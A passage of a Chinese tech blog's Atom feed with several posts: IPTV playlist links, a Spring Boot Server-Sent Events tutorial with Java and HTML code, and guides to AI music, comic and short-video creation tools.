href="https://iptv-org.github.io/iptv/regions/neur.m3u">https://iptv-org.github.io/iptv/regions/neur.m3u</a></td></tr><tr><td>大洋洲</td><td>84</td><td><a href="https://iptv-org.github.io/iptv/regions/oce.m3u">https://iptv-org.github.io/iptv/regions/oce.m3u</a></td></tr><tr><td>南美洲</td><td>1371</td><td><a href="https://iptv-org.github.io/iptv/regions/southam.m3u">https://iptv-org.github.io/iptv/regions/southam.m3u</a></td></tr><tr><td>南亚</td><td>634</td><td><a href="https://iptv-org.github.io/iptv/regions/sas.m3u">https://iptv-org.github.io/iptv/regions/sas.m3u</a></td></tr><tr><td>东南亚</td><td>415</td><td><a href="https://iptv-org.github.io/iptv/regions/sea.m3u">https://iptv-org.github.io/iptv/regions/sea.m3u</a></td></tr><tr><td>南欧</td><td>1138</td><td><a href="https://iptv-org.github.io/iptv/regions/ser.m3u">https://iptv-org.github.io/iptv/regions/ser.m3u</a></td></tr><tr><td>撒哈拉以南非洲</td><td>454</td><td><a href="https://iptv-org.github.io/iptv/regions/ssa.m3u">https://iptv-org.github.io/iptv/regions/ssa.m3u</a></td></tr><tr><td>西非</td><td>195</td><td><a href="https://iptv-org.github.io/iptv/regions/wafr.m3u">https://iptv-org.github.io/iptv/regions/wafr.m3u</a></td></tr><tr><td>西欧</td><td>1014</td><td><a href="https://iptv-org.github.io/iptv/regions/wer.m3u">https://iptv-org.github.io/iptv/regions/wer.m3u</a></td></tr></tbody></table><h1>如何使用</h1><p>链接:<a href="https://github.com/iptv-org/awesome-iptv#apps">https://github.com/iptv-org/awesome-iptv#apps</a></p><h1>示例</h1><h2 id="mac">mac</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/94aa0407e1512df839fb7578b9acccd4.png" alt="image.png"></p><h2 id="windows">windows</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/4856233fe3720ebd66cf5d9decc59153.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/0e43932210b6d7a26a7d7d5eb4f1265c.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/f8b0bb043276f692bb74a88b83bd9f39.png" alt="image.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;[!前言]&lt;br&gt;
部分频道会有较大延迟，肯定比不上IPTV，但优势在于能收看全世界绝大数的频道，没有任何限制。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;说明&lt;/h1&gt;
&lt;p&gt;IPTV（互联网协议电视）是一种通过互联网协议（IP）传输电视内容的</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="m3u" scheme="https://blog.allbs.cn/tags/m3u/"/>
    
  </entry>
  
  <entry>
    <title>单一源事件（SSE）的一个spring boot实现，常用来将服务端内容实时推送到前端展示</title>
    <link href="https://blog.allbs.cn/posts/1951/"/>
    <id>https://blog.allbs.cn/posts/1951/</id>
    <published>2024-05-06T03:49:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!前言]<br>不同于WebSockets提供了双向通信的能力，SSE只支持单向通信。但对于一些场景，如服务器向客户端发送通知或实时更新，SSE是一个简单且有效的选择。</p></blockquote><h1>说明</h1><p>单一源事件（SSE）是一种用于实现服务器向客户端推送数据的网络技术。通常Web应用程序是基于请求-响应模式工作的，客户端需要定期向服务器发送请求以获取更新的数据。但是对于需要实时更新的应用，如聊天应用、股票市场更新等，这种轮询的方式效率不高。<br>SSE技术通过建立一次持久的连接，允许服务器主动向客户端发送数据，而不需要客户端发送请求。这种推送模式能够显著减少网络流量和服务器负载，同时实现实时更新。在SSE中，服务器向客户端发送一系列数据块，每个数据块以&quot;event: &quot;、&quot;data: &quot;和两个换行符开始，并以一个空行结束。客户端通过监听服务器发送的数据块来获取更新。</p><h1>后端实现</h1><p>以下模拟一个接口请求将每秒饭返回一条数据，持续十秒</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">package cn.allbs.sse.controller;  </span><br><span class="line">  </span><br><span class="line">import org.springframework.http.MediaType;  </span><br><span class="line">import org.springframework.web.bind.annotation.GetMapping;  </span><br><span class="line">import org.springframework.web.bind.annotation.RequestParam;  </span><br><span class="line">import org.springframework.web.bind.annotation.RestController;  </span><br><span class="line">import org.springframework.web.servlet.mvc.method.annotation.SseEmitter;  </span><br><span class="line">  </span><br><span class="line">import java.util.concurrent.ExecutorService;  </span><br><span class="line">import java.util.concurrent.Executors;  </span><br><span class="line">  </span><br><span class="line">/**  </span><br><span class="line"> * 类 SSEController  </span><br><span class="line"> * * @author ChenQi  </span><br><span class="line"> * @date 2024/5/6  </span><br><span class="line"> */@RestController  </span><br><span class="line">public class SSEController &#123;  </span><br><span class="line">  </span><br><span class="line">    private final ExecutorService executorService = Executors.newSingleThreadExecutor();  </span><br><span class="line">  </span><br><span class="line">    @GetMapping(value = &quot;/events&quot;, produces = MediaType.TEXT_EVENT_STREAM_VALUE)  </span><br><span class="line">    public SseEmitter receiveText(@RequestParam String question) &#123;  </span><br><span class="line">        SseEmitter emitter = new SseEmitter();  </span><br><span class="line">        executorService.execute(() -&gt; &#123;  </span><br><span class="line">            try &#123;  </span><br><span class="line">                // 处理接收到的文本内容  </span><br><span class="line">                String processedText = processText(question);  </span><br><span class="line">  </span><br><span class="line">                // 将处理结果逐步发送给客户端  </span><br><span class="line">                for (int i = 1; i &lt;= 10; i++) &#123;  </span><br><span class="line">                    emitter.send(processedText.replace(&quot;问题&quot;, &quot;回答&quot;) + i);  </span><br><span class="line">                    Thread.sleep(1000); // 模拟每秒发送一个字符  </span><br><span class="line">                &#125;  </span><br><span class="line">                emitter.complete(); // 发送完毕，关闭连接  </span><br><span class="line">            &#125; catch (Exception e) &#123;  </span><br><span class="line">                emitter.completeWithError(e); // 发生错误，关闭连接  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;);  </span><br><span class="line">        return emitter;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    // 在实际应用中，这里可以添加对文本内容的具体处理逻辑  </span><br><span class="line">    private String processText(String text) &#123;  </span><br><span class="line">        return &quot;这是问题:&quot; + text;  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1>前端界面可以随意一点画下即可</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE html&gt;  </span><br><span class="line">&lt;html&gt;  </span><br><span class="line">&lt;head&gt;  </span><br><span class="line">    &lt;title&gt;SSE Demo&lt;/title&gt;  </span><br><span class="line">    &lt;meta charset=&quot;utf-8&quot;&gt;  </span><br><span class="line">    &lt;script type=&quot;text/javascript&quot;&gt;  </span><br><span class="line">        var eventSource;  </span><br><span class="line">  </span><br><span class="line">        function stopSSE() &#123;  </span><br><span class="line">            if (eventSource) &#123;  </span><br><span class="line">                eventSource.close();  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        function sendText() &#123;  </span><br><span class="line">            var inputField = document.getElementById(&quot;input-field&quot;);  </span><br><span class="line">            var text = inputField.value.trim();  </span><br><span class="line">            if (text !== &quot;&quot;) &#123;  </span><br><span class="line">                eventSource = new EventSource(&quot;/events?question=&quot; + text);  </span><br><span class="line">                eventSource.onmessage = function(event) &#123;  </span><br><span class="line">                    var textField = document.getElementById(&quot;result-field&quot;);  </span><br><span class="line">                    textField.value += (event.data + &quot;, &quot;);  </span><br><span class="line">                &#125;;  </span><br><span class="line">                eventSource.onerror = function(event) &#123;  </span><br><span class="line">                    console.error(&quot;EventSource failed:&quot;, event);  </span><br><span class="line">                    eventSource.close();  </span><br><span class="line">                &#125;;  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;  </span><br><span class="line">    &lt;/script&gt;  </span><br><span class="line">&lt;/head&gt;  </span><br><span class="line">&lt;body&gt;  </span><br><span class="line">&lt;input type=&quot;text&quot; id=&quot;input-field&quot; placeholder=&quot;输入内容&quot;&gt;  </span><br><span class="line">&lt;button onclick=&quot;sendText()&quot;&gt;发送&lt;/button&gt;&lt;br&gt;&lt;br&gt;  </span><br><span class="line">&lt;textarea id=&quot;result-field&quot; rows=&quot;10&quot; cols=&quot;50&quot; readonly&gt;&lt;/textarea&gt;&lt;br&gt;&lt;br&gt;  </span><br><span class="line">&lt;button onclick=&quot;stopSSE()&quot;&gt;Stop SSE&lt;/button&gt;  </span><br><span class="line">&lt;/body&gt;  </span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><h1>访问页面</h1><p>http://{ip}:{port}/index.html<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/c872ec5e4df64ff445475a4fd0444b73.png" alt="image.png"></p><h1>实现效果</h1><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/05/01629d5c3f96fd113e635ef9fa543d30.gif" alt="recording.gif"></p><h1>demo地址</h1><p><a href="https://github.com/chenqi92/spring-sse.git">https://github.com/chenqi92/spring-sse.git</a></p>]]></content>
    
    
    <summary type="html">单一源事件（SSE）是一种用于实现服务器向客户端推送数据的网络技术。通常Web应用程序是基于请求-响应模式工作的，客户端需要定期向服务器发送请求以获取更新的数据。但是对于需要实时更新的应用，如聊天应用、股票市场更新等，这种轮询的方式效率不高。</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="SSE" scheme="https://blog.allbs.cn/tags/SSE/"/>
    
  </entry>
  
  <entry>
    <title>不懂音乐也能创作歌曲</title>
    <link href="https://blog.allbs.cn/posts/38407/"/>
    <id>https://blog.allbs.cn/posts/38407/</id>
    <published>2024-04-24T02:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h1>创作教程</h1><h2 id="纯音乐">纯音乐</h2><p>制作纯音乐比较简单，只要简单录入使用到的乐器和音乐风格即可生成<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/37a84ca70b1027be9a17b0552b2462b1.png" alt=""><br>信息录入完成之后点击<code>create</code>创建即可，生成的歌曲如下：<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/01bdfc23735cdeeba2e8422c9f1a4464.png" alt=""></p><h3 id="第一首：">第一首：</h3><p><a href="https://nas.allbs.cn:8888/cloudpic/2024/04/aa4fac6c77b31022a07f6248f1d148fc.mp3">https://nas.allbs.cn:8888/cloudpic/2024/04/aa4fac6c77b31022a07f6248f1d148fc.mp3</a></p><h3 id="第二首：">第二首：</h3><p><a href="https://nas.allbs.cn:8888/cloudpic/2024/04/b07e480caa6147478651b4f2a00fb6c4.mp3">https://nas.allbs.cn:8888/cloudpic/2024/04/b07e480caa6147478651b4f2a00fb6c4.mp3</a></p><h2 id="歌词创作">歌词创作</h2><h3 id="使用chatGPT直接生成">使用chatGPT直接生成</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/0353f1d25688ce53ed5ad969360e479d.png" alt="image.png"></p><h3 id="要求chatGPT生成歌词并且按照指定格式输出">要求chatGPT生成歌词并且按照指定格式输出</h3><p>歌词的形式可以为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[instrumental intro][Verse 1] &lt;歌词&gt;[Chorus] &lt;歌词&gt;[Verse 2] &lt;歌词&gt;[Chorus] &lt;歌词&gt;[Bridge] &lt;歌词&gt;[Guitar solo][Chorus] &lt;歌词&gt;[Outro][End]</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/470ffbab6ad7c4a8856551de27ff6a73.png" alt="image.png"></p><h3 id="将歌词核心提取出来转为英文prompt输入Style-of-Music">将歌词核心提取出来转为英文prompt输入Style of Music</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/205b0a2c82808fef893bf93c8efd2529.png" alt="image.png"></p><h3 id="将歌词、风格、曲名都输入到Suno中生成歌曲">将歌词、风格、曲名都输入到Suno中生成歌曲</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/bfcf7fdb723404aa99fc060bbbc48eb4.png" alt="image.png"></p><h3 id="生成歌曲一览">生成歌曲一览</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/ee086aa96a5bc56640910a8f4219cdcd.png" alt="image.png"></p><h4 id="曲一">曲一</h4><p><a href="https://nas.allbs.cn:8888/cloudpic/2024/04/0846fe16aee80e98e51c4a010e312da7.mp3">https://nas.allbs.cn:8888/cloudpic/2024/04/0846fe16aee80e98e51c4a010e312da7.mp3</a></p><h4 id="曲二">曲二</h4><p><a href="https://nas.allbs.cn:8888/cloudpic/2024/04/42ec026e2dd1f73fb3463d668515ae8e.mp3">https://nas.allbs.cn:8888/cloudpic/2024/04/42ec026e2dd1f73fb3463d668515ae8e.mp3</a></p><h3 id="下载">下载</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/126aefc61208d716ed1cbbbcbbffe535.png" alt="image.png"></p><h2 id="网站地址">网站地址</h2><p><a href="https://suno.com/create">https://suno.com/create</a></p>]]></content>
    
    
    <summary type="html">全自动的音乐创作，不需要会任何乐器的你也能成为音乐大师</summary>
    
    
    
    <category term="ai" scheme="https://blog.allbs.cn/categories/ai/"/>
    
    
    <category term="歌曲" scheme="https://blog.allbs.cn/tags/%E6%AD%8C%E6%9B%B2/"/>
    
  </entry>
  
  <entry>
    <title>生成漫画的ai</title>
    <link href="https://blog.allbs.cn/posts/4025/"/>
    <id>https://blog.allbs.cn/posts/4025/</id>
    <published>2024-04-23T05:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h1>使用说明</h1><h2 id="漫画风格">漫画风格</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/96e76fee6d933214f0837ec3c5c0ab43.png" alt="image.png"></p><h2 id="漫画布局">漫画布局</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/884869a390f4efebcb3de048ac8cd4ba.png" alt="image.png"></p><h2 id="是否添加说明文字">是否添加说明文字</h2><p>按钮打开将会在漫画中添加说明文字<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/4c1ccb517e9f092146f6396be4bae0cd.png" alt="image.png"></p><h2 id="故事情节和视觉风格">故事情节和视觉风格</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/621d71411c75b6c6073e44769259c304.png" alt="image.png"></p><h2 id="可以切换得模型">可以切换得模型</h2><p>默认得模型不收费,有可能连接超时,但是需要自己注册账号后获取token。可以切换到chatgpt的dall-e-3和gpt-4-turbo来使用<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/754dc53211947356b137c1f63301b23c.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/f5c97a4083fc069c1430ac04b66f4490.png" alt="image.png"></p><h1>使用演示</h1><h2 id="效果展示">效果展示</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/55b52a1082126d6eea4e416940962b62.png" alt="image.png"></p><h2 id="官方地址-需魔法">官方地址(需魔法)</h2><p><a href="https://huggingface.co/spaces/jbilcke-hf/ai-comic-factory">https://huggingface.co/spaces/jbilcke-hf/ai-comic-factory</a></p><h2 id="源码克隆">源码克隆</h2><p>git clone <a href="https://huggingface.co/spaces/jbilcke-hf/ai-comic-factory">https://huggingface.co/spaces/jbilcke-hf/ai-comic-factory</a></p><h2 id="本地运行-node版本-18-17-0">本地运行(node版本&gt;18.17.0)</h2><h3 id="注册账号">注册账号</h3><p><a href="https://huggingface.co/">https://huggingface.co/</a></p><h3 id="token配置">token配置</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/916235191d6234dbe4450c927906529c.png" alt="image.png"><br>获取token后配置在.env中运行<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/c69af4a79a7861ec5809e57167ebc2d7.png" alt="image.png"></p><h3 id="本地运行">本地运行</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">npm install</span><br><span class="line"></span><br><span class="line">next dev</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/1e8206517642a4628edacbdb586e2144.png" alt="image.png"></p>]]></content>
    
    
    <summary type="html">免费的pdf转换工具，可能比较冷门但是比一些大众货好很多</summary>
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="ai" scheme="https://blog.allbs.cn/tags/ai/"/>
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>视频解说，图片视频是如何生成的？</title>
    <link href="https://blog.allbs.cn/posts/6293/"/>
    <id>https://blog.allbs.cn/posts/6293/</id>
    <published>2024-04-22T07:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!前言]<br>为何抖音博主能够快速的制作一个个短视频，虽然绝大部分内容都是垃圾，但是肯定还是有部分人能够通过这种方式变现。下面就来教你如何实现。</p></blockquote><h1>ai生成剧本</h1><p><strong>能够自己写剧本，或者只是相对某个视频进行解说的，请忽略这一步往后看。</strong><br>在chatGPT中直接让它生成剧本，如果对剧本不满足可以让它进行细微修改，我这边只是为了演示流程，就随便制作一个故事来示例了。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/8f7a61d27efc255efdacfb757bea2fc6.png" alt="image.png"><br>可以看到生成的剧本中有<code>角色</code>、<code>画面</code>、<code>旁白</code>和<code>角色的对话</code>内容。<br>以下内容为ai本次给到的剧本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line">### 视频脚本：《说谎的后果》</span><br><span class="line"></span><br><span class="line">#### 风格说明</span><br><span class="line">- **风格**：上海美术电影风格，动画色彩丰富，画面唯美。</span><br><span class="line">- **时长**：5分钟</span><br><span class="line"></span><br><span class="line">#### 角色</span><br><span class="line">- **坤坤**：一只聪明但爱说谎的小狐狸</span><br><span class="line">- **小兔米米**：坤坤的好朋友，天真善良</span><br><span class="line">- **其他森林动物**：鸟儿、松鼠等</span><br><span class="line"></span><br><span class="line">---</span><br><span class="line"></span><br><span class="line">#### 开场画面</span><br><span class="line">- **画面**：清晨的森林，阳光透过树叶，鸟儿在歌唱。</span><br><span class="line">- **旁白**：“在一个阳光明媚的早晨，森林里的小动物们都在忙碌地开始新的一天。”</span><br><span class="line"></span><br><span class="line">#### 第一场景：坤坤与小兔米米</span><br><span class="line">- **画面**：坤坤与小兔米米在森林里玩耍。</span><br><span class="line">- **旁白**：“这是小狐狸坤坤和他的好朋友小兔米米。坤坤聪明机智，但有时候会说些小谎言。”</span><br><span class="line"></span><br><span class="line">#### 第二场景：坤坤的谎言</span><br><span class="line">- **画面**：坤坤指着空空的篮子告诉米米那里有很多蘑菇。</span><br><span class="line">- **旁白**：“今天，坤坤对米米说，他找到了一个满是蘑菇的地方。”</span><br><span class="line">- **坤坤**（兴奋地）：“米米，跟我来，我带你去摘最大的蘑菇！”</span><br><span class="line">- **小兔米米**（天真地）：“真的吗？我好兴奋啊！”</span><br><span class="line"></span><br><span class="line">#### 第三场景：发现谎言</span><br><span class="line">- **画面**：米米跟随坤坤到了指定地点，发现那里并没有蘑菇。</span><br><span class="line">- **旁白**：“但当他们到达时，米米发现那里根本没有蘑菇。”</span><br><span class="line">- **小兔米米**（失望地）：“坤坤，你为什么要骗我？”</span><br><span class="line">- **坤坤**（尴尬地）：“我...我只是想和你一起玩游戏。”</span><br><span class="line"></span><br><span class="line">#### 第四场景：后果与教训</span><br><span class="line">- **画面**：米米悲伤地离开，其他动物也对坤坤表现出失望。</span><br><span class="line">- **旁白**：“坤坤的小谎言让米米很伤心，其他小动物们也开始远离坤坤。”</span><br><span class="line"></span><br><span class="line">#### 第五场景：坤坤的反思与改变</span><br><span class="line">- **画面**：坤坤独自坐在树下，显得孤独和沮丧。</span><br><span class="line">- **旁白**：“坤坤开始反思，他意识到说谎让他失去了朋友。”</span><br><span class="line">- **坤坤**（自言自语）：“我不应该说谎。我需要向米米和其他朋友道歉。”</span><br><span class="line"></span><br><span class="line">#### 结尾场景：和解与快乐的结局</span><br><span class="line">- **画面**：坤坤向米米和其他动物诚恳地道歉，它们渐渐原谅他。</span><br><span class="line">- **旁白**：“坤坤诚实地向大家道歉，小动物们看到他的改变，又重新接受了他。”</span><br><span class="line">- **画面**：所有的动物一起在森林中玩耍，笑声和快乐充满整个森林。</span><br><span class="line"></span><br><span class="line">#### 结尾字幕</span><br><span class="line">- **画面**：夕阳下</span><br><span class="line"></span><br><span class="line">的森林，动物们和睦相处。</span><br><span class="line">- **旁白**：“坤坤学到了一个宝贵的教训：说谎总会被揭穿，而诚实才是最好的策略。”</span><br><span class="line"></span><br><span class="line">---</span><br><span class="line"></span><br><span class="line">### 视频脚本结尾</span><br><span class="line">- **音乐渐起**：温馨、愉快的音乐作为背景。</span><br><span class="line">- **字幕**：“诚实守信，友谊长存。”</span><br></pre></td></tr></table></figure><h1>根据画面让ai生成画面</h1><p>将第一个画面内容<code>清晨的森林，阳光透过树叶，鸟儿在歌唱。</code>复制过去，并限定一下生成的图片的风格，比如可以设置为迪士尼，设置画面大小为16:9</p><h2 id="ai绘制画面">ai绘制画面</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/80afb147ccae0035d09d18870be95a5d.png" alt="image.png"></p><h2 id="获取画面的gen-id">获取画面的gen_id</h2><p>获取画面的gen_id主要的目的就是保持多个画面风格的统一<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/5531a3a81838d5c150faf894c6c0ba67.png" alt="image.png"></p><h2 id="继续生成其他画面">继续生成其他画面</h2><p>按照第一张图的方式将第二个画面继续生成图片。注意：为了保持画面风格的统一，必须加上gen_id，就是上一步给到的内容。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/8394d28b1dcc69b59402d2dd46c150d1.png" alt="image.png"></p><h2 id="依法炮制所有画面">依法炮制所有画面</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/37e908174d306790b53db501a58c9142.png" alt="image.png"></p><h1>让多个图片变成一个视频故事</h1><p>需要用到软件<code>剪印</code>。</p><h2 id="图文成片">图文成片</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/f55d16df4a5a0b1c6522fa4c3bc2a4f9.png" alt="image.png"></p><h2 id="自由编辑文案，将上述文案中的旁白和对话拷贝进去。">自由编辑文案，将上述文案中的旁白和对话拷贝进去。</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/de225ac57cc39afcefb3a14d36bfbc97.png" alt="image.png"></p><h2 id="点击生成视频—-使用本地素材">点击生成视频—&gt;使用本地素材</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/7ab1eaff674c6747a4895e5314907ca4.png" alt="image.png"></p><h2 id="导入ai绘制的图片">导入ai绘制的图片</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/9025e3f2b0f497f102667d2c13b02253.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/c7cade62ca78fc8b61312529614c4679.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/e22bc3b8cb6a87833f79a4bf1edc0788.png" alt="image.png"></p><h2 id="将不同图片拖到下面的封面那一行，并左右拉动调整画面和旁白对应。">将不同图片拖到下面的封面那一行，并左右拉动调整画面和旁白对应。</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/d40a1e3619de4dd74258b06123d7d6ab.png" alt="image.png"></p><h2 id="旁白期间过于单调，设置画面自动缩放">旁白期间过于单调，设置画面自动缩放</h2><h3 id="先在图片第一个位置标记一下添加关键帧">先在图片第一个位置标记一下添加关键帧</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/f9348757e90cdfa5e27242e5cf46fb7a.png" alt="image.png"></p><h3 id="再在末尾或者靠近末尾的地方添加一个关键帧并设置缩放。">再在末尾或者靠近末尾的地方添加一个关键帧并设置缩放。</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/fabd48c7c4cea06d9724f44cd0408b22.png" alt="image.png"></p><h3 id="增加一点湖面特效">增加一点湖面特效</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/290fb57f554b267dc646aeb131c122a6.png" alt="image.png"></p><h3 id="拖动并拉长新增的特效使其让整个画面都有特效">拖动并拉长新增的特效使其让整个画面都有特效</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/3374c16e17956a4b992b56805df9e24d.png" alt="image.png"></p><h3 id="设置旁白的语音">设置旁白的语音</h3><p>选中下方的语音文字部分，右上角声音效果，选个比较适合的语音填入即可。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/0c4cf8a8d2635dcdf8d298b038a8b943.png" alt="image.png"></p><h3 id="导出">导出</h3><p>在以上内容重新进行保证每个画面都有语音和字母后导出视频。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/54437e636287a3a8ffef8eed843d495b.png" alt="image.png"></p>]]></content>
    
    
    <summary type="html">如何使用ai创作一个动画短视频？有文学功底但是不会制作视频怎么办？甚至没有文学功底也可以给你带来一种变现手段。</summary>
    
    
    
    <category term="工具" scheme="https://blog.allbs.cn/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="ai" scheme="https://blog.allbs.cn/tags/ai/"/>
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="视频" scheme="https://blog.allbs.cn/tags/%E8%A7%86%E9%A2%91/"/>
    
  </entry>
  
  <entry>
    <title>pdf转换工具推荐</title>
    <link href="https://blog.allbs.cn/posts/17862/"/>
    <id>https://blog.allbs.cn/posts/17862/</id>
    <published>2024-04-22T02:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
